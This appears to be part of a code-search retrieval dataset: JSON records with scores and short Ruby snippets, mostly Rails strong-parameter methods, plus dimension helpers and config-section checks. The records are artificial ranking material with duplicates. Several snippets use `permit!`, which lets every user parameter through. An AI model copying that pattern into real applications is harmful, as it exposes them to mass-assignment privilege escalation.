end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.6048879", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.60472274", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041843", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.60351795", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.603075", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6026434", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6021914", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.6021314", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.60178083", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60156524", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.60095096", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6007318", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6007318", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6007018", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60057443", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.6002585", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.60017353", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.60017353", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6001735", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.59996015", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.5999499", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.5999499", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.59949625", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.5994718", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5994533", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59923065", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.5992183", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" } ]
6b043cad48def3e01946252f927a943d
Dimension of a composition is the sum of its member quantities' dimensions.
[ { "docid": "850ea027302de5968ccf2549e09d7139", "score": "0.6986551", "text": "def dimension\n map { |qnt, exp| qnt.dimension * exp }.reduce SY::Dimension.zero, :+\n end", "title": "" } ]
[ { "docid": "25f9536b6d2f35560accc756323befbb", "score": "0.6592833", "text": "def total_dimension\n return self.input_dimension + self.output_dimension\n end", "title": "" }, { "docid": "cc70f0067c0c4d038bb241ad6674a9e9", "score": "0.6396422", "text": "def dim\n composition_string\n end", "title": "" }, { "docid": "cc70f0067c0c4d038bb241ad6674a9e9", "score": "0.6396422", "text": "def dim\n composition_string\n end", "title": "" }, { "docid": "f46c0aa48fd88778935bccc818ebe13e", "score": "0.6247855", "text": "def dimensions\n self.coords.count\n end", "title": "" }, { "docid": "4d4de2853c098d136d3d33659c775053", "score": "0.6230378", "text": "def dimensions\n @dimensions ||= extract_dimensions\n end", "title": "" }, { "docid": "4b0ddfaf7c705633e73e72431034d630", "score": "0.6218722", "text": "def dim\n @structure.dim\n end", "title": "" }, { "docid": "41902235bcb8dbdfa2a53a0396ed4cbe", "score": "0.61585397", "text": "def dimensions\n\t\t[@n,@m]\n\tend", "title": "" }, { "docid": "561c5d6cd5e0424cbd5249294b00fbb9", "score": "0.60743487", "text": "def dimension\n @unit.to_s\n end", "title": "" }, { "docid": "d407385240f255eeabf68b7bc37e3bd0", "score": "0.60357773", "text": "def dimensionality\n return nil if self.points.count == 0\n self.points.first.dimensions\n end", "title": "" }, { "docid": "6893387d76f4a485f3d09bee5fd2e59d", "score": "0.59862304", "text": "def dimension\n raise Error::UnsupportedOperation, \"Method Geometry#dimension not defined.\"\n end", "title": "" }, { "docid": "02930a71a567b266deeb5f3f98d58933", "score": "0.59850484", "text": "def dimensions\n eval_cexpression(\"tcb->ndices\")\n end", "title": "" }, { "docid": "30010989676d9296a74aa68334386531", "score": "0.59188956", "text": "def length\n @dim\n end", "title": "" }, { "docid": "012034b6acdc75ead6abb55bf33e86be", "score": "0.5875058", "text": "def size=(dimension); end", "title": "" }, { "docid": "bcc97b69e44b6f6fe0ce8fe071590e4b", "score": "0.5797476", "text": "def dimensions\n data[:dimensions]\n end", "title": "" }, { "docid": "50e9a21170b0b5d813de31093fac8905", "score": "0.57757455", "text": "def get_dimensions\n @netcdf_elmt.getDimensions()\n end", "title": "" }, { "docid": "8bbc23bc9247a8e1e8774f6bc3063b88", "score": "0.5742856", "text": "def dimensions()\r\n @dimensions ||= questions.inject([]) do |l, question|\r\n question_dimension = question.dimension\r\n l << question_dimension unless l.include?(question_dimension) or question_dimension == \"unknown\"\r\n l\r\n end\r\n end", "title": "" }, { "docid": "4c0e9a3035e4e907fb27dd9cb0b3f80d", "score": "0.56556445", "text": "def volume_of_cube(dimension)\n return dimension**3\nend", "title": "" }, { "docid": "43fe6f64dd0fef202cb8562d5291da13", "score": "0.5637898", "text": "def dimensions\n dim = [width, height]\n def dim.to_s\n join 'x'\n end\n dim\n end", "title": "" }, { "docid": "5e8e03888c4f0d4056ea617ee3deb096", "score": "0.56175274", "text": "def width\n @dimensions.x\n end", "title": "" }, { "docid": "c185619a934322287582658b85dcacbc", "score": "0.5600935", "text": "def width\n dimensions()[:x]\n end", "title": "" }, { "docid": "6b320638866ddbcf8ba25847f19737d9", "score": "0.55656034", "text": "def length\n grid_shape.length\n end", "title": "" }, { "docid": "1eebee239da0e186604ab7b7d27c0ff0", "score": "0.5514965", "text": "def dimensions(n=0)\n n += 1\n self.first.is_a?(Array) ? self.first.dimensions(n) : n\n end", "title": "" }, { "docid": "f661d52acf4fba4cdc6ab5013879b0e1", "score": "0.5511995", "text": "def width\n length * xdim\n end", "title": "" }, { "docid": "f661d52acf4fba4cdc6ab5013879b0e1", "score": "0.5511995", "text": "def width\n length * xdim\n end", "title": "" }, { "docid": "f83b3931b71f18fa3fba711223dde591", "score": "0.5501237", "text": "def cols\n @dimension\n end", "title": "" }, { "docid": "8dcf8435a5e1827e3f3b608d6cc416bd", "score": "0.5475672", "text": "def dimensions\n return @dimensions if @dimensions\n @dimensions = {}\n (raw['Dimensions'] || {}).each do |name, values|\n values = [values] unless Array === values\n @dimensions[name] = values.map{|value| Dimension.new(value)}\n end\n @dimensions\n end", "title": "" }, { "docid": "d47edba7ceab9091614b76a264d76be4", "score": "0.5465231", "text": "def size\n @components.values.inject(0) { |component_count, attribute| component_count + attribute.size }\n end", "title": "" }, { "docid": "fb048c88d2f56600cf6b2743673f2e13", "score": "0.5449356", "text": "def dimensions\n @array_specs.spec_dimensions\n end", "title": "" }, { "docid": "83571939f94e589a218fd575b18c0130", "score": "0.5423619", "text": "def xdim\n @xdim || 1\n end", "title": "" }, { "docid": "83571939f94e589a218fd575b18c0130", "score": "0.5423619", "text": "def xdim\n @xdim || 1\n end", "title": "" }, { "docid": "83571939f94e589a218fd575b18c0130", "score": "0.5423619", "text": "def xdim\n @xdim || 1\n end", "title": "" }, { "docid": "886fdf37831885ae27482c40327fce4e", "score": "0.5384764", "text": "def dim; 1; end", "title": "" }, { "docid": "034573fe0dc6208940d801662e69ffdd", "score": "0.5376274", "text": "def size\n @column ? [@dim, 1] : [1, @dim]\n end", "title": "" }, { "docid": "b65d8ef6f98c9c4bb53b25a3b59fd8a6", "score": "0.5373824", "text": "def dimensions(cube_unique_name)\n @dimensions = {} if @dimensions.nil?\n\n @dimensions[cube_unique_name] ||= cube(cube_unique_name).get_dimensions.map do |dimension|\n {\n :unique_name => dimension.get_unique_name,\n :name => dimension.get_caption,\n :children => true,\n :type => dimension.get_dimension_type.to_s.downcase.to_sym\n }\n end\n end", "title": "" }, { "docid": "77118d64abb83860bf96948adcb37819", "score": "0.5362323", "text": "def find_dimension(name)\n NetCDF::Dimension.new(@netcdf_elmt.findDimension(name))\n end", "title": "" }, { "docid": "0dfefd70bba206712da53728cc2284d9", "score": "0.53502697", "text": "def point_wh_count point\n point.layers.inject(0){|sum, lay| sum + lay.whs.size }\n end", "title": "" }, { "docid": "7af21f19cf0b021d4629adcecdbb8fc0", "score": "0.53133297", "text": "def dimensions\n Vector2d.new(metadata[:width], metadata[:height]) if valid?\n end", "title": "" }, { "docid": "faf3f460dc9e34c572962a728af0d586", "score": "0.5299484", "text": "def dim\n [x, y, w, h]\n end", "title": "" }, { "docid": "fa233963e0ae6c59f0010737fd1222fd", "score": "0.5298499", "text": "def width\n dimensions.first\n end", "title": "" }, { "docid": "b726f1dc6670834c01dbbdcfebcc3fb0", "score": "0.529412", "text": "def size\n NMatrix.size(self.shape)\n end", "title": "" }, { "docid": "fe1391e6dd10c81c0fa56d812840860d", "score": "0.52675223", "text": "def dimensions(val); @dimensions = val; self; end", "title": "" }, { "docid": "34b6529f4c80e1e70dde5900c6aadb26", "score": "0.5266791", "text": "def dimensions\n [width,height]\n end", "title": "" }, { "docid": "79199b14319348b76675e4d15ed97156", "score": "0.5258566", "text": "def dimensions\n dimensions = identify(:layer => 0, :format => \"%wx%h\").chomp.split(\"x\")\n { :x => dimensions[0].to_i,\n :y => dimensions[1].to_i }\n end", "title": "" }, { "docid": "e56261b944825727ace5375ad919fd01", "score": "0.5252411", "text": "def size\n shape[0] > 1 ? shape[0] : shape[1]\n end", "title": "" }, { "docid": "dc31cb638a794b6b067cbd2953de4699", "score": "0.52357805", "text": "def find_unlimited_dimension\n NetCDF::Dimension.new(@netcdf_elmt.getUnlimitedDimension())\n end", "title": "" }, { "docid": "e0e1a9c0235288fc091854f01eff2756", "score": "0.5204162", "text": "def dimensions(vertices)\n\n dims = { x: [], y: [], z: [] }\n\n # length or x-axis\n if vertices[0][0] < vertices[-1][0]\n (vertices[0][0]..vertices[-1][0]).step(0.01) { |n| dims[:x] << n }\n else\n (vertices[-1][0]..vertices[0][0]).step(0.01) { |n| dims[:x] << n }\n end\n\n # height or y-axis\n if vertices[0][1] < vertices[3][1]\n (vertices[0][1]..vertices[3][1]).step(0.01) { |n| dims[:y] << n }\n else\n (vertices[3][1]..vertices[0][1]).step(0.01) { |n| dims[:y] << n }\n end\n\n # width or z-axis\n if vertices[0][2] < vertices[1][2]\n (vertices[0][2]..vertices[1][2]).step(0.01) { |n| dims[:z] << n }\n else\n (vertices[1][2]..vertices[0][2]).step(0.01) { |n| dims[:z] << n }\n end\n\n dims\n end", "title": "" }, { "docid": "4c4452a96e02f7070baf4492a9615810", "score": "0.51658446", "text": "def size\n self.points.count\n end", "title": "" }, { "docid": "c5e45607fce18b605fee1627b2074d1c", "score": "0.5159455", "text": "def getPerimeter\n\t\t@length + @width + @height\n\tend", "title": "" }, { "docid": "c5e45607fce18b605fee1627b2074d1c", "score": "0.5159455", "text": "def getPerimeter\n\t\t@length + @width + @height\n\tend", "title": "" }, { "docid": "ca07f23a2f7f4a2dbc86abda36409bc3", "score": "0.5140105", "text": "def dimension_names\n two_dimensions | three_dimensions\n end", "title": "" }, { "docid": "f993a15c1ca03e843dffe0c05db8501a", "score": "0.51392215", "text": "def coord_dimension_for(column_name)\n spatial_column_by_name(column_name).coord_dimension\n end", "title": "" }, { "docid": "3b5aeda0f9eb0c97644dc80f2309c648", "score": "0.5128756", "text": "def measures\n @dimensions.describe\n end", "title": "" }, { "docid": "7b43c5ba480eabac372dba8067103d43", "score": "0.5114532", "text": "def dim\n @indexes.size\n end", "title": "" }, { "docid": "de431fa176163faf4eea5addeb71379b", "score": "0.51122063", "text": "def size\n @axis_object.size\n end", "title": "" }, { "docid": "339787fc76998240c5505b0a36a17f07", "score": "0.5107362", "text": "def quantityFields\n return @elements.length\n end", "title": "" }, { "docid": "f7a2efd8418e7fa11537186e638ebf26", "score": "0.50933164", "text": "def size\n @parts.size\n end", "title": "" }, { "docid": "b39327cb485b6092c01916e64687d089", "score": "0.5069248", "text": "def real_piece_size\n piece_size + connector_size\n end", "title": "" }, { "docid": "2e365127e76b79dc971828e814f955ec", "score": "0.5069061", "text": "def cols\n shape[1]\n end", "title": "" }, { "docid": "b96d7f91d921d72e224afc5eb7b676bf", "score": "0.5048898", "text": "def total_poss\n @nrow * @ncol * @nbox\n end", "title": "" }, { "docid": "a970dfa2c3e6bcf8f6ad91703a5f11f5", "score": "0.50413585", "text": "def cube_vol(length, dimension = 3)\n check_pre((length.nat? and dimension.int_pos?))\n length**dimension\nend", "title": "" }, { "docid": "2796a6a874f3999190ce4da5f8bc4d81", "score": "0.5025031", "text": "def composition\n root_terms.reduce(SignedMultiset.new) do |s, t|\n s.increment(t.atom.dim, t.exponent) if t.atom; s\n end\n end", "title": "" }, { "docid": "434f1101a8c6b0ada852c84ee680bb77", "score": "0.50233155", "text": "def degree()\n return self.rep.length\n end", "title": "" }, { "docid": "a89790711f255f3e94cd5ad0c6c84975", "score": "0.50210303", "text": "def cardinality\n @rhs.size\n end", "title": "" }, { "docid": "ee55d759232347d813bf8aa782edc144", "score": "0.500409", "text": "def width\n self.size[:x]\n end", "title": "" }, { "docid": "81b429f6da0fda4c20438f0e9affe8c9", "score": "0.4989085", "text": "def dimensions(*fields)\n @dimensions ||= ListParameter.new(:dimensions, [])\n @dimensions << fields\n end", "title": "" }, { "docid": "5d47d98fc0117cd85c6713814c21d5e3", "score": "0.4978769", "text": "def size\n\t\t@graph.size\n\tend", "title": "" }, { "docid": "28c0bddd68114e674a3c1db32b67b8c0", "score": "0.49678764", "text": "def is_dimensionless?\n physical_quantity==\"dimensionless\" || @base_quantity_hash.empty?\n end", "title": "" }, { "docid": "73fc82bd5663d7b4cd91678577af1547", "score": "0.49491698", "text": "def size\n @atoms.size\n end", "title": "" }, { "docid": "e1654eed53358cf27df4bbd208526bca", "score": "0.49467316", "text": "def get_units(dimension)\n nil\n end", "title": "" }, { "docid": "7e983f59665fd965a4a76da028875a24", "score": "0.49448863", "text": "def size\n (@x2-@x1)*(@y2-@y1)\n end", "title": "" }, { "docid": "35c3d0d3737a4f92cbb130f304b4ecd5", "score": "0.4940245", "text": "def size\n attribute_prop(3)\n end", "title": "" }, { "docid": "9cbc7e2e1a066038c2f4db77611ba03e", "score": "0.49362078", "text": "def num_vars\n constraint.lhs.size\n end", "title": "" }, { "docid": "770b0da595a3b3f41acc78777a1532c5", "score": "0.49247473", "text": "def composition\n root_terms.reduce(SignedMultiset.new) do |s, t|\n s.increment(t.atom.dim, t.exponent) if t.atom\n s\n end\n end", "title": "" }, { "docid": "1f4d7a5ce64f3a4e297f36ee2a68cf60", "score": "0.49188605", "text": "def shape_count\n\t\treturn @shapes.length\n\tend", "title": "" }, { "docid": "7842768353f178d67315d18b1f7bf832", "score": "0.49031103", "text": "def dimensions\n height = count\n width = collect { |a| a.length }.max\n [width, height]\n end", "title": "" }, { "docid": "1bfac0a8681ffa392819465b6211dbe7", "score": "0.48997498", "text": "def densities\n\t\t\tmap { |n| count n }\n\t\t end", "title": "" }, { "docid": "f596413bebc82886d480206a507c08c8", "score": "0.48969367", "text": "def size\n\t\t\t@mask.size\n\t\tend", "title": "" }, { "docid": "f8f49d4d67ae2d8b359b340471fa1bab", "score": "0.4892541", "text": "def rows\n @dimension\n end", "title": "" }, { "docid": "98dfb4373d6cd5cea1f4ac955238136b", "score": "0.48903537", "text": "def size\n if @size.nil?\n @size = @mset.inject(0) do |total, pair|\n value = pair[1]\n if value.is_a? Array\n total + value.size\n else\n total + 1\n end\n end\n end\n\n @size\n end", "title": "" }, { "docid": "3164d2b75640dac2eac05a52dfc27e89", "score": "0.48903343", "text": "def length\n self.vector.magnitude\n end", "title": "" }, { "docid": "2362299767ec35021d1bf2560ecf5bc1", "score": "0.48879024", "text": "def get_length\n\tselection = Sketchup.active_model.selection\n\tcount = selection.length\n\tif count != 0\n\t\tselection.each { |sel|\n\t\t\torigin = sel.transformation.origin\n\t\t\tx = origin[0]\n\t\t\ty = origin[1]\n\t\t\tz = origin[2]\n\t\t\tif sel.class == Sketchup::Group\n\t\t\t\tbox = sel.local_bounds\n\t\t\telsif sel.class == Sketchup::ComponentInstance\n\t\t\t\tbox = sel.definition.bounds\n\t\t\tend\n\t\t\tmix = box.min.x.to_f\n\t\t\tmiy = box.min.y.to_f\n\t\t\tmiz = 0\n\n\t\t\tmx = box.max.x.to_f\n\t\t\tmy = box.max.y.to_f\n\t\t\tmz = 0\n\n\t\t\tname = sel.definition.name\n\t\t\t#defn = sel.definition\n\t\t\t#bbox = defn.bounds\n\t\t\t#w = bbox.width.to_l.to_s\n\t\t\t#h = bbox.height.to_l.to_s\n\t\t\t#d = bbox.depth.to_l.to_s\n\t\t\tif name != \"BASE HANDLE#1\"\n\t\t\t\tdim = sel.entities.add_dimension_linear([mix, miy, miz], [mx, my, mz], [25, 0, 0])\n\t\t\t\tdim.material = \"chartreuse\"\n\t\t\tend\n\t\t}\n\telse\n\t\tUI.messagebox \"No models are selected!\", MB_OK\n\tend\nend", "title": "" }, { "docid": "e08b075dce320a1a81723a4cc7a4fe8a", "score": "0.48874772", "text": "def party_size\n @actors.size + 3\n end", "title": "" }, { "docid": "b8e5d89bdb77a99d7ed95d1bbf4517ba", "score": "0.48834246", "text": "def size\n\n DataMapper.repository(@dm_repository) { DmExpression.count }\n end", "title": "" }, { "docid": "377363cdad066ef47679e35098f12cc7", "score": "0.48782814", "text": "def total\n traits.size + factories.size + factories.sum { |factory| factory.traits.size }\n end", "title": "" }, { "docid": "2e690047d4bb9f075d25d275580c6a99", "score": "0.48738194", "text": "def volume_of_cube(n)\n return n * n * n\nend", "title": "" }, { "docid": "07b893570ab52b919e6d566b30b6a5fc", "score": "0.48714027", "text": "def size; return self[2,2]; end", "title": "" }, { "docid": "e123190d046a5b63df47eebaf5b282c5", "score": "0.48713276", "text": "def lengths\n\t\t#NArray.calculate_dimensions(self) # doesn't work for some weird reason\n\t\tdimensions == 1 ? [length] : [length, *self[0].lengths]\n\tend", "title": "" }, { "docid": "6326edbdb8eb3f0effa9079118629c9d", "score": "0.48689047", "text": "def size\n\tparts.size\nend", "title": "" }, { "docid": "7120e3516e334e04891bb6023419e18b", "score": "0.48668194", "text": "def num_points\n @size * @size\n end", "title": "" }, { "docid": "c3fe0743af31788114dc1ee9dfc46cf9", "score": "0.48661125", "text": "def size!\n @elements.values.map(&:size!).inject(0) {|total,size| total + size}\n end", "title": "" }, { "docid": "ee8647d86e6b084294b590619f4815a2", "score": "0.4859733", "text": "def dimensions(*measurements)\n @measurements = measurements\n end", "title": "" }, { "docid": "c2a568526d5a422ac56d26819d969e8b", "score": "0.4856973", "text": "def width\n if clear_border?\n geometry.width\n\n else\n border.width\n\n end\n end", "title": "" }, { "docid": "0529fcdf8fdcf435b9f6528ddefef5cf", "score": "0.4853532", "text": "def members_count\n object.space_memberships.count\n end", "title": "" }, { "docid": "80bcb845f6fe8ec4e7b35172eb90163f", "score": "0.48375544", "text": "def make_dimensionless\n self.physical_quantity = 'dimensionless'\n @base_quantity_hash = { }\n end", "title": "" }, { "docid": "f6544675b773c403357456297f535dc7", "score": "0.48343784", "text": "def volume_of_cube(length)\n return length ** 3\nend", "title": "" }, { "docid": "9a238c0a93dd403e80d1585fdcb5d4de", "score": "0.48335057", "text": "def number_of_elements_in_collection\n # collection here refers to the collection that is set with the initialize method\n # collection() is a private accessor method at the bottom of this class that accesses @collection\n collection.count\n end", "title": "" }, { "docid": "ad6ee9918a7e594f8b151bdd856b4fed", "score": "0.48292273", "text": "def to_dimensions\n self.split(/x/).map { |s|\n if s.include?('-')\n s.split(/-/).map { |r| r.to_i }\n else \n s.to_i\n end \n } \n end", "title": "" }, { "docid": "09a2aad41eda03fc7f109c1758db5b38", "score": "0.48214358", "text": "def size\n\t\t@w * @h\n\tend", "title": "" }, { "docid": "de48249ff0d5308453fba5eddd68cc0b", "score": "0.48194972", "text": "def element_size\n end", "title": "" }, { "docid": "ff95c4a5e3f917a65096801ba42c5c13", "score": "0.48186892", "text": "def size\n @vertices.length\n end", "title": "" } ]
ac3b4c1f974f882d844bc45a58e94968
Return true if the settings configuration file contains the specified section name. This method ignores whatever section that may or may not have been pointed to by the use command.
[ { "docid": "750f5ff43d9d0638bb8d0e9988abb827", "score": "0.7155484", "text": "def has_section?( section_name )\n\n KeyError.not_new( section_name, self )\n\n raise ArgumentError.new \"No file found at [ #{@file_path} ]\" unless File.exists? @file_path\n the_text = File.read @file_path\n raise ArgumentError.new \"This file is empty => [ #{@file_path} ]\" if the_text.empty?\n\n the_data = IniFile.load @file_path\n return the_data.has_section?( section_name )\n\n end", "title": "" } ]
[ { "docid": "543c5bf6a33808fa2751868404084b5e", "score": "0.7574528", "text": "def has_section?( section )\n @ini.has_key? section.to_s\n end", "title": "" }, { "docid": "08bbdea4f23b6f6d35a46e5e84cdbaa0", "score": "0.7449914", "text": "def section?(section)\n @ini.key? section.to_s\n end", "title": "" }, { "docid": "645dd1925dff93ae532b44c60e122e86", "score": "0.7281193", "text": "def has_section?(name)\n sections.has_key?(name)\n end", "title": "" }, { "docid": "645dd1925dff93ae532b44c60e122e86", "score": "0.7281193", "text": "def has_section?(name)\n sections.has_key?(name)\n end", "title": "" }, { "docid": "5cd1131017f400f3735f841f4493a651", "score": "0.66623086", "text": "def section?\n !@section.nil?\n end", "title": "" }, { "docid": "2b20e7829671c01f1e47b77e46e4ba3a", "score": "0.66263926", "text": "def exists?(name)\n File.exists?(settings_path(name))\n end", "title": "" }, { "docid": "e7637a33a431572893ad689d21fcf8c4", "score": "0.6488962", "text": "def has_key? name\n name_str = name.to_s\n name_sym = name.to_sym\n\n @config.each do |configfile|\n if configfile[:config][name_str] or configfile[:config][name_sym]\n return true\n end\n end\n return false\n end", "title": "" }, { "docid": "0065b4c5618fa740706c1cda2a0daca0", "score": "0.6232485", "text": "def setting_exists?(header, name)\n !!find_setting(header, name)\n end", "title": "" }, { "docid": "08fcd9ea6dccbaddefec67032bc085e7", "score": "0.6230027", "text": "def section?\n type == \"Section\"\n end", "title": "" }, { "docid": "32e52e6eb73044698946c283361f0080", "score": "0.61978877", "text": "def size_is_a_section_setting?(size)\n size.is_a?(Liquid::VariableLookup) &&\n size.name == 'section' &&\n size.lookups.first == 'settings'\n end", "title": "" }, { "docid": "5651c3bcc05446bb8d3b5998796b45f8", "score": "0.6137136", "text": "def cfgExists?\n\t\treturn true if File.exists?(@CfgSpec)\n\t\treturn false\n\tend", "title": "" }, { "docid": "c9761bfdab3bab828b24437228a65e4d", "score": "0.60369945", "text": "def sections?\n false\n end", "title": "" }, { "docid": "9ca690a1dc9e34c24d465b718170fb80", "score": "0.6022745", "text": "def section_selected?(section_name)\n if article_id_present?\n current_article.section.name == section_name\n elsif section_id_present?\n current_section.name == section_name\n else # none of the necessary controllers/actions is active\n false\n end\n end", "title": "" }, { "docid": "854255245004aebcdc4836b93e78df13", "score": "0.6005528", "text": "def configurable?\n settings && settings.is_a?(Hash) && !settings[:partial].blank?\n end", "title": "" }, { "docid": "ce97929952a56707201f69a48232d83b", "score": "0.59607226", "text": "def section_by_name(section_name); end", "title": "" }, { "docid": "8f51cbd78a700367418f8ff1754dc6b1", "score": "0.5944079", "text": "def defines_setting?(key)\n @settings.key?(key)\n end", "title": "" }, { "docid": "156595aefb20aa8b963d400fda12cad2", "score": "0.5929713", "text": "def setting_provided?(key)\n !settings[key].nil?\n end", "title": "" }, { "docid": "ed7683990323f64e87ee3a8c20a56bd9", "score": "0.5861939", "text": "def has_setting?(symbol_or_name, include_inherited = true)\n found = find_setting(symbol_or_name.to_s) != nil\n if found\n return found\n elsif include_inherited && has_parent?\n return parent.__send__(:has_setting?, symbol_or_name)\n end\n false\n end", "title": "" }, { "docid": "bab4e39fae909b7964d460d21297ab78", "score": "0.5831687", "text": "def config_file?\n return false unless fetched?\n\n return File.exist? \"#{working_dir}/#{config_file}\"\n end", "title": "" }, { "docid": "6b25a68b5bf6f8ef599af77d08bdeb26", "score": "0.58041435", "text": "def configured?(key)\n case key\n when :namespaces\n # Because we mutate the default value for the `namespaces` setting, rather\n # than assign a new one, to check if it's configured we must see whether any\n # namespaces have been added\n !config.namespaces.empty?\n else\n config._settings[key].input_defined?\n end\n end", "title": "" }, { "docid": "76d4b06106216923e9a80fb50f485ad7", "score": "0.5791644", "text": "def select_section(section_name)\n result = super(section_name.to_s)\n raise get_message(result) if result != TPL_OK\n @stack.push(section_name.to_sym)\n return true\n end", "title": "" }, { "docid": "300e5e25e3b407acc027f467c8b16b6f", "score": "0.57664764", "text": "def configured?\n @config = load_config\n unless @config.nil?\n return unless priviledge_check\n @@options.each do |k,v|\n case resource[v]\n when true, :true, :enable, :enabled\n value = true\n when false, :false, :disable, :disabled, nil\n value = false\n else\n value = resource[v]\n end\n\t config = @config.to_ruby\n return false unless config[k].eql?(value) \n end\n else\n # Create a new configuration\n @config = NSMutableDictionary.new\n return unless priviledge_check\n end\n true\n end", "title": "" }, { "docid": "d899386f4efd227e26e85038e08060b0", "score": "0.5758744", "text": "def section_of(file, section_name) \n File.read(file).split(/^(?==)/).each do |section|\n lines = section.split(\"\\n\")\n return lines[1..-1].join(\"\\n\").strip if lines.first =~ /#{section_name}/i\n end\n nil\n end", "title": "" }, { "docid": "1c27c86f529c2fd3031d393e806e13e6", "score": "0.5747379", "text": "def config_exists?(path)\n File.exist?(path)\n end", "title": "" }, { "docid": "02690bb3258fc6c3b6be8ba3975efcd4", "score": "0.5746216", "text": "def config_matches?(option, value)\n pattern = /^#{option}: *?#{value}.*?/i\n !(@path_content =~ pattern).nil?\n end", "title": "" }, { "docid": "5776737c5c09f5297a88eb3428da69d6", "score": "0.57409835", "text": "def exists\n begin\n get_settings\n rescue AlgoliaProtocolError => e\n if e.code === 404\n return false\n end\n\n raise e\n end\n return true\n end", "title": "" }, { "docid": "a50f9b53f1c3c70abad3b001adff1f39", "score": "0.5707053", "text": "def configuration?\n get_mode.to_s.include?('config')\n end", "title": "" }, { "docid": "ba83d71a65495229c5613604b89f6303", "score": "0.5706303", "text": "def auto_config? name\n return auto_config[name] if !auto_config[name].nil?\n end", "title": "" }, { "docid": 